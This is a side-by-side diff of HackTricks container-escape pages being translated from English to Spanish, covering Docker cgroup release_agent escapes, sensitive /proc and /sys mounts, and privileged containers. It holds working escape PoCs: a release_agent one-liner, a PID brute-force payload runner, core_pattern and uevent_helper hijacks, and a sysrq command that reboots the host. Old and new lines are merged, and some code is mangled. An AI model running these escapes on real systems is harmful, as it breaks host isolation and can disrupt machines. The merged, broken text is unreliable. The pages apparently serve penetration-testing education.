- [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/exposed-docker-socket](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/exposed-docker-socket) - [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/exposed-docker-socket](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/exposed-docker-socket)
- [https://bishopfox.com/blog/kubernetes-pod-privilege-escalation#Pod4](https://bishopfox.com/blog/kubernetes-pod-privilege-escalation#Pod4) - [https://bishopfox.com/blog/kubernetes-pod-privilege-escalation#Pod4](https://bishopfox.com/blog/kubernetes-pod-privilege-escalation#Pod4)
<figure><img src="../../../../images/image (48).png" alt=""><figcaption></figcaption></figure>
Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=docker-breakout-privilege-escalation) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=docker-breakout-privilege-escalation" %}
{{#include ../../../../banners/hacktricks-training.md}} {{#include ../../../../banners/hacktricks-training.md}}

View File

@ -1,11 +1,10 @@
# Docker release_agent cgroups escape # Escape de cgroups de release_agent de Docker
{{#include ../../../../banners/hacktricks-training.md}} {{#include ../../../../banners/hacktricks-training.md}}
**For further details, refer to the** [**original blog post**](https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/)**.** This is just a summary: **Para más detalles, consulta el** [**post original del blog**](https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/)**.** Esto es solo un resumen:
Original PoC:
PoC original:
```shell ```shell
d=`dirname $(ls -x /s*/fs/c*/*/r* |head -n1)` d=`dirname $(ls -x /s*/fs/c*/*/r* |head -n1)`
mkdir -p $d/w;echo 1 >$d/w/notify_on_release mkdir -p $d/w;echo 1 >$d/w/notify_on_release
@ -13,49 +12,38 @@ t=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
touch /o; echo $t/c >$d/release_agent;echo "#!/bin/sh touch /o; echo $t/c >$d/release_agent;echo "#!/bin/sh
$1 >$t/o" >/c;chmod +x /c;sh -c "echo 0 >$d/w/cgroup.procs";sleep 1;cat /o $1 >$t/o" >/c;chmod +x /c;sh -c "echo 0 >$d/w/cgroup.procs";sleep 1;cat /o
``` ```
La prueba de concepto (PoC) demuestra un método para explotar cgroups creando un archivo `release_agent` y provocando su invocación para ejecutar comandos arbitrarios en el host del contenedor. Aquí hay un desglose de los pasos involucrados:
The proof of concept (PoC) demonstrates a method to exploit cgroups by creating a `release_agent` file and triggering its invocation to execute arbitrary commands on the container host. Here's a breakdown of the steps involved: 1. **Preparar el Entorno:**
- Se crea un directorio `/tmp/cgrp` para servir como punto de montaje para el cgroup.
1. **Prepare the Environment:** - El controlador de cgroup RDMA se monta en este directorio. En caso de ausencia del controlador RDMA, se sugiere usar el controlador de cgroup `memory` como alternativa.
- A directory `/tmp/cgrp` is created to serve as a mount point for the cgroup.
- The RDMA cgroup controller is mounted to this directory. In case of absence of the RDMA controller, it's suggested to use the `memory` cgroup controller as an alternative.
```shell ```shell
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
``` ```
2. **Configurar el Cgroup Hijo:**
2. **Set Up the Child Cgroup:** - Se crea un cgroup hijo llamado "x" dentro del directorio cgroup montado.
- A child cgroup named "x" is created within the mounted cgroup directory. - Se habilitan las notificaciones para el cgroup "x" escribiendo 1 en su archivo notify_on_release.
- Notifications are enabled for the "x" cgroup by writing 1 to its notify_on_release file.
```shell ```shell
echo 1 > /tmp/cgrp/x/notify_on_release echo 1 > /tmp/cgrp/x/notify_on_release
``` ```
3. **Configurar el Agente de Liberación:**
3. **Configure the Release Agent:** - La ruta del contenedor en el host se obtiene del archivo /etc/mtab.
- The path of the container on the host is obtained from the /etc/mtab file. - El archivo release_agent del cgroup se configura para ejecutar un script llamado /cmd ubicado en la ruta del host adquirida.
- The release_agent file of the cgroup is then configured to execute a script named /cmd located at the acquired host path.
```shell ```shell
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab` host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgrp/release_agent echo "$host_path/cmd" > /tmp/cgrp/release_agent
``` ```
4. **Crear y Configurar el Script /cmd:**
4. **Create and Configure the /cmd Script:** - El script /cmd se crea dentro del contenedor y se configura para ejecutar ps aux, redirigiendo la salida a un archivo llamado /output en el contenedor. Se especifica la ruta completa de /output en el host.
- The /cmd script is created inside the container and is configured to execute ps aux, redirecting the output to a file named /output in the container. The full path of /output on the host is specified.
```shell ```shell
echo '#!/bin/sh' > /cmd echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd chmod a+x /cmd
``` ```
5. **Activar el Ataque:**
5. **Trigger the Attack:** - Se inicia un proceso dentro del cgroup hijo "x" y se termina inmediatamente.
- A process is initiated within the "x" child cgroup and is immediately terminated. - Esto activa el `release_agent` (el script /cmd), que ejecuta ps aux en el host y escribe la salida en /output dentro del contenedor.
- This triggers the `release_agent` (the /cmd script), which executes ps aux on the host and writes the output to /output within the container.
```shell ```shell
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs" sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
``` ```
{{#include ../../../../banners/hacktricks-training.md}} {{#include ../../../../banners/hacktricks-training.md}}

View File

@ -1,27 +1,26 @@
{{#include ../../../../banners/hacktricks-training.md}} {{#include ../../../../banners/hacktricks-training.md}}
For further details **check the blog port from [https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html](https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html)**. This is just a summary: Para más detalles **consulta el blog en [https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html](https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html)**. Esto es solo un resumen:
The technique outlines a method for **executing host code from within a container**, overcoming challenges posed by storage-driver configurations that obscure the container's filesystem path on the host, like Kata Containers or specific `devicemapper` settings. La técnica describe un método para **ejecutar código del host desde dentro de un contenedor**, superando los desafíos planteados por las configuraciones del controlador de almacenamiento que oscurecen la ruta del sistema de archivos del contenedor en el host, como Kata Containers o configuraciones específicas de `devicemapper`.
Key steps: Pasos clave:
1. **Locating Process IDs (PIDs):** Using the `/proc/<pid>/root` symbolic link in the Linux pseudo-filesystem, any file within the container can be accessed relative to the host's filesystem. This bypasses the need to know the container's filesystem path on the host. 1. **Localización de IDs de Proceso (PIDs):** Usando el enlace simbólico `/proc/<pid>/root` en el pseudo-sistema de archivos de Linux, se puede acceder a cualquier archivo dentro del contenedor en relación con el sistema de archivos del host. Esto elude la necesidad de conocer la ruta del sistema de archivos del contenedor en el host.
2. **PID Bashing:** A brute force approach is employed to search through PIDs on the host. This is done by sequentially checking for the presence of a specific file at `/proc/<pid>/root/<file>`. When the file is found, it indicates that the corresponding PID belongs to a process running inside the target container. 2. **Bash de PID:** Se emplea un enfoque de fuerza bruta para buscar a través de los PIDs en el host. Esto se hace verificando secuencialmente la presencia de un archivo específico en `/proc/<pid>/root/<file>`. Cuando se encuentra el archivo, indica que el PID correspondiente pertenece a un proceso que se ejecuta dentro del contenedor objetivo.
3. **Triggering Execution:** The guessed PID path is written to the `cgroups release_agent` file. This action triggers the execution of the `release_agent`. The success of this step is confirmed by checking for the creation of an output file. 3. **Activar Ejecución:** La ruta del PID adivinada se escribe en el archivo `cgroups release_agent`. Esta acción activa la ejecución del `release_agent`. El éxito de este paso se confirma al verificar la creación de un archivo de salida.
### Exploitation Process ### Proceso de Explotación
The exploitation process involves a more detailed set of actions, aiming to execute a payload on the host by guessing the correct PID of a process running inside the container. Here's how it unfolds: El proceso de explotación implica un conjunto de acciones más detallado, con el objetivo de ejecutar una carga útil en el host adivinando el PID correcto de un proceso que se ejecuta dentro del contenedor. Así es como se desarrolla:
1. **Initialize Environment:** A payload script (`payload.sh`) is prepared on the host, and a unique directory is created for cgroup manipulation. 1. **Inicializar Entorno:** Se prepara un script de carga útil (`payload.sh`) en el host, y se crea un directorio único para la manipulación de cgroup.
2. **Prepare Payload:** The payload script, which contains the commands to be executed on the host, is written and made executable. 2. **Preparar Carga Útil:** Se escribe el script de carga útil, que contiene los comandos a ejecutar en el host, y se hace ejecutable.
3. **Set Up Cgroup:** The cgroup is mounted and configured. The `notify_on_release` flag is set to ensure that the payload executes when the cgroup is released. 3. **Configurar Cgroup:** El cgroup se monta y configura. Se establece la bandera `notify_on_release` para asegurar que la carga útil se ejecute cuando se libere el cgroup.
4. **Brute Force PID:** A loop iterates through potential PIDs, writing each guessed PID to the `release_agent` file. This effectively sets the payload script as the `release_agent`. 4. **Fuerza Bruta de PID:** Un bucle itera a través de PIDs potenciales, escribiendo cada PID adivinado en el archivo `release_agent`. Esto efectivamente establece el script de carga útil como el `release_agent`.
5. **Trigger and Check Execution:** For each PID, the cgroup's `cgroup.procs` is written to, triggering the execution of the `release_agent` if the PID is correct. The loop continues until the output of the payload script is found, indicating successful execution. 5. **Activar y Verificar Ejecución:** Para cada PID, se escribe en `cgroup.procs` del cgroup, activando la ejecución del `release_agent` si el PID es correcto. El bucle continúa hasta que se encuentra la salida del script de carga útil, indicando una ejecución exitosa.
PoC from the blog post:
PoC del post del blog:
```bash ```bash
#!/bin/sh #!/bin/sh
@ -60,20 +59,20 @@ echo 1 > ${CGROUP_MOUNT}/${CGROUP_NAME}/notify_on_release
TPID=1 TPID=1
while [ ! -f ${OUTPUT_PATH} ] while [ ! -f ${OUTPUT_PATH} ]
do do
if [ $((${TPID} % 100)) -eq 0 ] if [ $((${TPID} % 100)) -eq 0 ]
then then
echo "Checking pid ${TPID}" echo "Checking pid ${TPID}"
if [ ${TPID} -gt ${MAX_PID} ] if [ ${TPID} -gt ${MAX_PID} ]
then then
echo "Exiting at ${MAX_PID} :-(" echo "Exiting at ${MAX_PID} :-("
exit 1 exit 1
fi fi
fi fi
# Set the release_agent path to the guessed pid # Set the release_agent path to the guessed pid
echo "/proc/${TPID}/root${PAYLOAD_PATH}" > ${CGROUP_MOUNT}/release_agent echo "/proc/${TPID}/root${PAYLOAD_PATH}" > ${CGROUP_MOUNT}/release_agent
# Trigger execution of the release_agent # Trigger execution of the release_agent
sh -c "echo \$\$ > ${CGROUP_MOUNT}/${CGROUP_NAME}/cgroup.procs" sh -c "echo \$\$ > ${CGROUP_MOUNT}/${CGROUP_NAME}/cgroup.procs"
TPID=$((${TPID} + 1)) TPID=$((${TPID} + 1))
done done
# Wait for and cat the output # Wait for and cat the output
@ -81,5 +80,4 @@ sleep 1
echo "Done! Output:" echo "Done! Output:"
cat ${OUTPUT_PATH} cat ${OUTPUT_PATH}
``` ```
{{#include ../../../../banners/hacktricks-training.md}} {{#include ../../../../banners/hacktricks-training.md}}

View File

@ -2,181 +2,173 @@
{{#include ../../../../banners/hacktricks-training.md}} {{#include ../../../../banners/hacktricks-training.md}}
<figure><img src="../../../..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure> La exposición de `/proc` y `/sys` sin un aislamiento adecuado de namespaces introduce riesgos de seguridad significativos, incluyendo la ampliación de la superficie de ataque y la divulgación de información. Estos directorios contienen archivos sensibles que, si están mal configurados o son accedidos por un usuario no autorizado, pueden llevar a la fuga de contenedores, modificación del host o proporcionar información que ayude a ataques posteriores. Por ejemplo, montar incorrectamente `-v /proc:/host/proc` puede eludir la protección de AppArmor debido a su naturaleza basada en rutas, dejando `/host/proc` desprotegido.
{% embed url="https://websec.nl/" %} **Puedes encontrar más detalles de cada posible vulnerabilidad en** [**https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts**](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts)**.**
The exposure of `/proc` and `/sys` without proper namespace isolation introduces significant security risks, including attack surface enlargement and information disclosure. These directories contain sensitive files that, if misconfigured or accessed by an unauthorized user, can lead to container escape, host modification, or provide information aiding further attacks. For instance, incorrectly mounting `-v /proc:/host/proc` can bypass AppArmor protection due to its path-based nature, leaving `/host/proc` unprotected. ## Vulnerabilidades de procfs
**You can find further details of each potential vuln in** [**https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts**](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts)**.**
## procfs Vulnerabilities
### `/proc/sys` ### `/proc/sys`
This directory permits access to modify kernel variables, usually via `sysctl(2)`, and contains several subdirectories of concern: Este directorio permite el acceso para modificar variables del kernel, generalmente a través de `sysctl(2)`, y contiene varios subdirectorios de interés:
#### **`/proc/sys/kernel/core_pattern`** #### **`/proc/sys/kernel/core_pattern`**
- Described in [core(5)](https://man7.org/linux/man-pages/man5/core.5.html). - Descrito en [core(5)](https://man7.org/linux/man-pages/man5/core.5.html).
- Allows defining a program to execute on core-file generation with the first 128 bytes as arguments. This can lead to code execution if the file begins with a pipe `|`. - Permite definir un programa para ejecutar en la generación de archivos de núcleo con los primeros 128 bytes como argumentos. Esto puede llevar a la ejecución de código si el archivo comienza con un pipe `|`.
- **Testing and Exploitation Example**: - **Ejemplo de Prueba y Explotación**:
```bash ```bash
[ -w /proc/sys/kernel/core_pattern ] && echo Yes # Test write access [ -w /proc/sys/kernel/core_pattern ] && echo Yes # Probar acceso de escritura
cd /proc/sys/kernel cd /proc/sys/kernel
echo "|$overlay/shell.sh" > core_pattern # Set custom handler echo "|$overlay/shell.sh" > core_pattern # Establecer controlador personalizado
sleep 5 && ./crash & # Trigger handler sleep 5 && ./crash & # Activar controlador
``` ```
#### **`/proc/sys/kernel/modprobe`** #### **`/proc/sys/kernel/modprobe`**
- Detailed in [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html). - Detallado en [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
- Contains the path to the kernel module loader, invoked for loading kernel modules. - Contiene la ruta al cargador de módulos del kernel, invocado para cargar módulos del kernel.
- **Checking Access Example**: - **Ejemplo de Comprobación de Acceso**:
```bash ```bash
ls -l $(cat /proc/sys/kernel/modprobe) # Check access to modprobe ls -l $(cat /proc/sys/kernel/modprobe) # Comprobar acceso a modprobe
``` ```
#### **`/proc/sys/vm/panic_on_oom`** #### **`/proc/sys/vm/panic_on_oom`**
- Referenced in [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html). - Referenciado en [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
- A global flag that controls whether the kernel panics or invokes the OOM killer when an OOM condition occurs. - Una bandera global que controla si el kernel se bloquea o invoca al OOM killer cuando ocurre una condición OOM.
#### **`/proc/sys/fs`** #### **`/proc/sys/fs`**
- As per [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html), contains options and information about the file system. - Según [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html), contiene opciones e información sobre el sistema de archivos.
- Write access can enable various denial-of-service attacks against the host. - El acceso de escritura puede habilitar varios ataques de denegación de servicio contra el host.
#### **`/proc/sys/fs/binfmt_misc`** #### **`/proc/sys/fs/binfmt_misc`**
- Allows registering interpreters for non-native binary formats based on their magic number. - Permite registrar intérpretes para formatos binarios no nativos basados en su número mágico.
- Can lead to privilege escalation or root shell access if `/proc/sys/fs/binfmt_misc/register` is writable. - Puede llevar a la escalada de privilegios o acceso a shell root si `/proc/sys/fs/binfmt_misc/register` es escribible.
- Relevant exploit and explanation: - Exploit relevante y explicación:
- [Poor man's rootkit via binfmt_misc](https://github.com/toffan/binfmt_misc) - [Poor man's rootkit via binfmt_misc](https://github.com/toffan/binfmt_misc)
- In-depth tutorial: [Video link](https://www.youtube.com/watch?v=WBC7hhgMvQQ) - Tutorial en profundidad: [Video link](https://www.youtube.com/watch?v=WBC7hhgMvQQ)
### Others in `/proc` ### Otros en `/proc`
#### **`/proc/config.gz`** #### **`/proc/config.gz`**
- May reveal the kernel configuration if `CONFIG_IKCONFIG_PROC` is enabled. - Puede revelar la configuración del kernel si `CONFIG_IKCONFIG_PROC` está habilitado.
- Useful for attackers to identify vulnerabilities in the running kernel. - Útil para atacantes para identificar vulnerabilidades en el kernel en ejecución.
#### **`/proc/sysrq-trigger`** #### **`/proc/sysrq-trigger`**
- Allows invoking Sysrq commands, potentially causing immediate system reboots or other critical actions. - Permite invocar comandos Sysrq, potencialmente causando reinicios inmediatos del sistema u otras acciones críticas.
- **Rebooting Host Example**: - **Ejemplo de Reinicio del Host**:
```bash ```bash
echo b > /proc/sysrq-trigger # Reboots the host echo b > /proc/sysrq-trigger # Reinicia el host
``` ```
#### **`/proc/kmsg`** #### **`/proc/kmsg`**
- Exposes kernel ring buffer messages. - Expone mensajes del búfer de anillo del kernel.
- Can aid in kernel exploits, address leaks, and provide sensitive system information. - Puede ayudar en exploits del kernel, fugas de direcciones y proporcionar información sensible del sistema.
#### **`/proc/kallsyms`** #### **`/proc/kallsyms`**
- Lists kernel exported symbols and their addresses. - Lista símbolos exportados del kernel y sus direcciones.
- Essential for kernel exploit development, especially for overcoming KASLR. - Esencial para el desarrollo de exploits del kernel, especialmente para superar KASLR.
- Address information is restricted with `kptr_restrict` set to `1` or `2`. - La información de direcciones está restringida con `kptr_restrict` configurado en `1` o `2`.
- Details in [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html). - Detalles en [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
#### **`/proc/[pid]/mem`** #### **`/proc/[pid]/mem`**
- Interfaces with the kernel memory device `/dev/mem`. - Interactúa con el dispositivo de memoria del kernel `/dev/mem`.
- Historically vulnerable to privilege escalation attacks. - Históricamente vulnerable a ataques de escalada de privilegios.
- More on [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html). - Más en [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
#### **`/proc/kcore`** #### **`/proc/kcore`**
- Represents the system's physical memory in ELF core format. - Representa la memoria física del sistema en formato ELF core.
- Reading can leak host system and other containers' memory contents. - La lectura puede filtrar el contenido de la memoria del sistema host y otros contenedores.
- Large file size can lead to reading issues or software crashes. - Un tamaño de archivo grande puede llevar a problemas de lectura o fallos de software.
- Detailed usage in [Dumping /proc/kcore in 2019](https://schlafwandler.github.io/posts/dumping-/proc/kcore/). - Uso detallado en [Dumping /proc/kcore in 2019](https://schlafwandler.github.io/posts/dumping-/proc/kcore/).
#### **`/proc/kmem`** #### **`/proc/kmem`**
- Alternate interface for `/dev/kmem`, representing kernel virtual memory. - Interfaz alternativa para `/dev/kmem`, representando la memoria virtual del kernel.
- Allows reading and writing, hence direct modification of kernel memory. - Permite la lectura y escritura, por lo tanto, la modificación directa de la memoria del kernel.
#### **`/proc/mem`** #### **`/proc/mem`**
- Alternate interface for `/dev/mem`, representing physical memory. - Interfaz alternativa para `/dev/mem`, representando la memoria física.
- Allows reading and writing, modification of all memory requires resolving virtual to physical addresses. - Permite la lectura y escritura, la modificación de toda la memoria requiere resolver direcciones virtuales a físicas.
#### **`/proc/sched_debug`** #### **`/proc/sched_debug`**
- Returns process scheduling information, bypassing PID namespace protections. - Devuelve información sobre la programación de procesos, eludiendo las protecciones del namespace PID.
- Exposes process names, IDs, and cgroup identifiers. - Expone nombres de procesos, IDs e identificadores de cgroup.
#### **`/proc/[pid]/mountinfo`** #### **`/proc/[pid]/mountinfo`**
- Provides information about mount points in the process's mount namespace. - Proporciona información sobre los puntos de montaje en el namespace de montaje del proceso.
- Exposes the location of the container `rootfs` or image. - Expone la ubicación del `rootfs` o imagen del contenedor.
### `/sys` Vulnerabilities ### Vulnerabilidades de `/sys`
#### **`/sys/kernel/uevent_helper`** #### **`/sys/kernel/uevent_helper`**
- Used for handling kernel device `uevents`. - Usado para manejar `uevents` de dispositivos del kernel.
- Writing to `/sys/kernel/uevent_helper` can execute arbitrary scripts upon `uevent` triggers. - Escribir en `/sys/kernel/uevent_helper` puede ejecutar scripts arbitrarios al activarse `uevent`.
- **Example for Exploitation**: %%%bash - **Ejemplo de Explotación**: %%%bash
#### Creates a payload #### Crea una carga útil
echo "#!/bin/sh" > /evil-helper echo "ps > /output" >> /evil-helper chmod +x /evil-helper echo "#!/bin/sh" > /evil-helper echo "ps > /output" >> /evil-helper chmod +x /evil-helper
#### Finds host path from OverlayFS mount for container #### Encuentra la ruta del host desde el montaje de OverlayFS para el contenedor
host*path=$(sed -n 's/.*\perdir=(\[^,]\_).\*/\1/p' /etc/mtab) host*path=$(sed -n 's/.*\perdir=(\[^,]\_).\*/\1/p' /etc/mtab)
#### Sets uevent_helper to malicious helper #### Establece uevent_helper en el ayudante malicioso
echo "$host_path/evil-helper" > /sys/kernel/uevent_helper echo "$host_path/evil-helper" > /sys/kernel/uevent_helper
#### Triggers a uevent #### Activa un uevent
echo change > /sys/class/mem/null/uevent echo change > /sys/class/mem/null/uevent
#### Reads the output #### Lee la salida
cat /output %%% cat /output %%%
#### **`/sys/class/thermal`** #### **`/sys/class/thermal`**
- Controls temperature settings, potentially causing DoS attacks or physical damage. - Controla configuraciones de temperatura, potencialmente causando ataques DoS o daños físicos.
#### **`/sys/kernel/vmcoreinfo`** #### **`/sys/kernel/vmcoreinfo`**
- Leaks kernel addresses, potentially compromising KASLR. - Filtra direcciones del kernel, comprometiendo potencialmente KASLR.
#### **`/sys/kernel/security`** #### **`/sys/kernel/security`**
- Houses `securityfs` interface, allowing configuration of Linux Security Modules like AppArmor. - Alberga la interfaz `securityfs`, permitiendo la configuración de Módulos de Seguridad de Linux como AppArmor.
- Access might enable a container to disable its MAC system. - El acceso podría permitir a un contenedor deshabilitar su sistema MAC.
#### **`/sys/firmware/efi/vars` and `/sys/firmware/efi/efivars`** #### **`/sys/firmware/efi/vars` y `/sys/firmware/efi/efivars`**
- Exposes interfaces for interacting with EFI variables in NVRAM. - Expone interfaces para interactuar con variables EFI en NVRAM.
- Misconfiguration or exploitation can lead to bricked laptops or unbootable host machines. - La mala configuración o explotación puede llevar a laptops bloqueadas o máquinas host que no se pueden iniciar.
#### **`/sys/kernel/debug`** #### **`/sys/kernel/debug`**
- `debugfs` offers a "no rules" debugging interface to the kernel. - `debugfs` ofrece una interfaz de depuración "sin reglas" al kernel.
- History of security issues due to its unrestricted nature. - Historial de problemas de seguridad debido a su naturaleza sin restricciones.
### References ### Referencias
- [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts) - [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts)
- [Understanding and Hardening Linux Containers](https://research.nccgroup.com/wp-content/uploads/2020/07/ncc_group_understanding_hardening_linux_containers-1-1.pdf) - [Understanding and Hardening Linux Containers](https://research.nccgroup.com/wp-content/uploads/2020/07/ncc_group_understanding_hardening_linux_containers-1-1.pdf)
- [Abusing Privileged and Unprivileged Linux Containers](https://www.nccgroup.com/globalassets/our-research/us/whitepapers/2016/june/container_whitepaper.pdf) - [Abusing Privileged and Unprivileged Linux Containers](https://www.nccgroup.com/globalassets/our-research/us/whitepapers/2016/june/container_whitepaper.pdf)
<figure><img src="../../../..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
{{#include ../../../../banners/hacktricks-training.md}} {{#include ../../../../banners/hacktricks-training.md}}

View File

@ -2,28 +2,25 @@
{{#include ../../../banners/hacktricks-training.md}} {{#include ../../../banners/hacktricks-training.md}}
## What Affects ## Qué Afecta
When you run a container as privileged these are the protections you are disabling: Cuando ejecutas un contenedor como privilegiado, estas son las protecciones que estás deshabilitando:
### Mount /dev ### Montar /dev
In a privileged container, all the **devices can be accessed in `/dev/`**. Therefore you can **escape** by **mounting** the disk of the host. En un contenedor privilegiado, todos los **dispositivos pueden ser accedidos en `/dev/`**. Por lo tanto, puedes **escapar** al **montar** el disco del host.
{{#tabs}} {{#tabs}}
{{#tab name="Inside default container"}} {{#tab name="Dentro del contenedor por defecto"}}
```bash ```bash
# docker run --rm -it alpine sh # docker run --rm -it alpine sh
ls /dev ls /dev
console fd mqueue ptmx random stderr stdout urandom console fd mqueue ptmx random stderr stdout urandom
core full null pts shm stdin tty zero core full null pts shm stdin tty zero
``` ```
{{#endtab}} {{#endtab}}
{{#tab name="Inside Privileged Container"}} {{#tab name="Dentro del Contenedor Privilegiado"}}
```bash ```bash
# docker run --rm --privileged -it alpine sh # docker run --rm --privileged -it alpine sh
ls /dev ls /dev
@ -33,17 +30,15 @@ core mqueue ptmx stdin tty26
cpu nbd0 pts stdout tty27 tty47 ttyS0 cpu nbd0 pts stdout tty27 tty47 ttyS0
[...] [...]
``` ```
{{#endtab}} {{#endtab}}
{{#endtabs}} {{#endtabs}}
### Read-only kernel file systems ### Sistemas de archivos del kernel de solo lectura
Kernel file systems provide a mechanism for a process to modify the behavior of the kernel. However, when it comes to container processes, we want to prevent them from making any changes to the kernel. Therefore, we mount kernel file systems as **read-only** within the container, ensuring that the container processes cannot modify the kernel. Los sistemas de archivos del kernel proporcionan un mecanismo para que un proceso modifique el comportamiento del kernel. Sin embargo, cuando se trata de procesos de contenedor, queremos evitar que realicen cambios en el kernel. Por lo tanto, montamos los sistemas de archivos del kernel como **solo lectura** dentro del contenedor, asegurando que los procesos del contenedor no puedan modificar el kernel.
{{#tabs}} {{#tabs}}
{{#tab name="Inside default container"}} {{#tab name="Dentro del contenedor predeterminado"}}
```bash ```bash
# docker run --rm -it alpine sh # docker run --rm -it alpine sh
mount | grep '(ro' mount | grep '(ro'
@ -52,28 +47,24 @@ cpuset on /sys/fs/cgroup/cpuset type cgroup (ro,nosuid,nodev,noexec,relatime,cpu
cpu on /sys/fs/cgroup/cpu type cgroup (ro,nosuid,nodev,noexec,relatime,cpu) cpu on /sys/fs/cgroup/cpu type cgroup (ro,nosuid,nodev,noexec,relatime,cpu)
cpuacct on /sys/fs/cgroup/cpuacct type cgroup (ro,nosuid,nodev,noexec,relatime,cpuacct) cpuacct on /sys/fs/cgroup/cpuacct type cgroup (ro,nosuid,nodev,noexec,relatime,cpuacct)
``` ```
{{#endtab}} {{#endtab}}
{{#tab name="Inside Privileged Container"}} {{#tab name="Dentro del Contenedor Privilegiado"}}
```bash ```bash
# docker run --rm --privileged -it alpine sh # docker run --rm --privileged -it alpine sh
mount | grep '(ro' mount | grep '(ro'
``` ```
{{#endtab}} {{#endtab}}
{{#endtabs}} {{#endtabs}}
### Masking over kernel file systems ### Enmascaramiento sobre sistemas de archivos del kernel
The **/proc** file system is selectively writable but for security, certain parts are shielded from write and read access by overlaying them with **tmpfs**, ensuring container processes can't access sensitive areas. El sistema de archivos **/proc** es selectivamente escribible, pero por razones de seguridad, ciertas partes están protegidas del acceso de escritura y lectura al superponerse con **tmpfs**, asegurando que los procesos del contenedor no puedan acceder a áreas sensibles.
> [!NOTE] > **tmpfs** is a file system that stores all the files in virtual memory. tmpfs doesn't create any files on your hard drive. So if you unmount a tmpfs file system, all the files residing in it are lost for ever. > [!NOTE] > **tmpfs** es un sistema de archivos que almacena todos los archivos en memoria virtual. tmpfs no crea ningún archivo en tu disco duro. Así que si desmontas un sistema de archivos tmpfs, todos los archivos que residen en él se pierden para siempre.
{{#tabs}} {{#tabs}}
{{#tab name="Inside default container"}} {{#tab name="Dentro del contenedor predeterminado"}}
```bash ```bash
# docker run --rm -it alpine sh # docker run --rm -it alpine sh
mount | grep /proc.*tmpfs mount | grep /proc.*tmpfs
@ -81,30 +72,26 @@ tmpfs on /proc/acpi type tmpfs (ro,relatime)
tmpfs on /proc/kcore type tmpfs (rw,nosuid,size=65536k,mode=755) tmpfs on /proc/kcore type tmpfs (rw,nosuid,size=65536k,mode=755)
tmpfs on /proc/keys type tmpfs (rw,nosuid,size=65536k,mode=755) tmpfs on /proc/keys type tmpfs (rw,nosuid,size=65536k,mode=755)
``` ```
{{#endtab}} {{#endtab}}
{{#tab name="Inside Privileged Container"}} {{#tab name="Dentro del Contenedor Privilegiado"}}
```bash ```bash
# docker run --rm --privileged -it alpine sh # docker run --rm --privileged -it alpine sh
mount | grep /proc.*tmpfs mount | grep /proc.*tmpfs
``` ```
{{#endtab}} {{#endtab}}
{{#endtabs}} {{#endtabs}}
### Linux capabilities ### Capacidades de Linux
Container engines launch the containers with a **limited number of capabilities** to control what goes on inside of the container by default. **Privileged** ones have **all** the **capabilities** accesible. To learn about capabilities read: Los motores de contenedores lanzan los contenedores con un **número limitado de capacidades** para controlar lo que sucede dentro del contenedor por defecto. Los **privilegiados** tienen **todas** las **capacidades** accesibles. Para aprender sobre capacidades, lee:
{{#ref}} {{#ref}}
../linux-capabilities.md ../linux-capabilities.md
{{#endref}} {{#endref}}
{{#tabs}} {{#tabs}}
{{#tab name="Inside default container"}} {{#tab name="Dentro del contenedor por defecto"}}
```bash ```bash
# docker run --rm -it alpine sh # docker run --rm -it alpine sh
apk add -U libcap; capsh --print apk add -U libcap; capsh --print
@ -113,11 +100,9 @@ Current: cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,ca
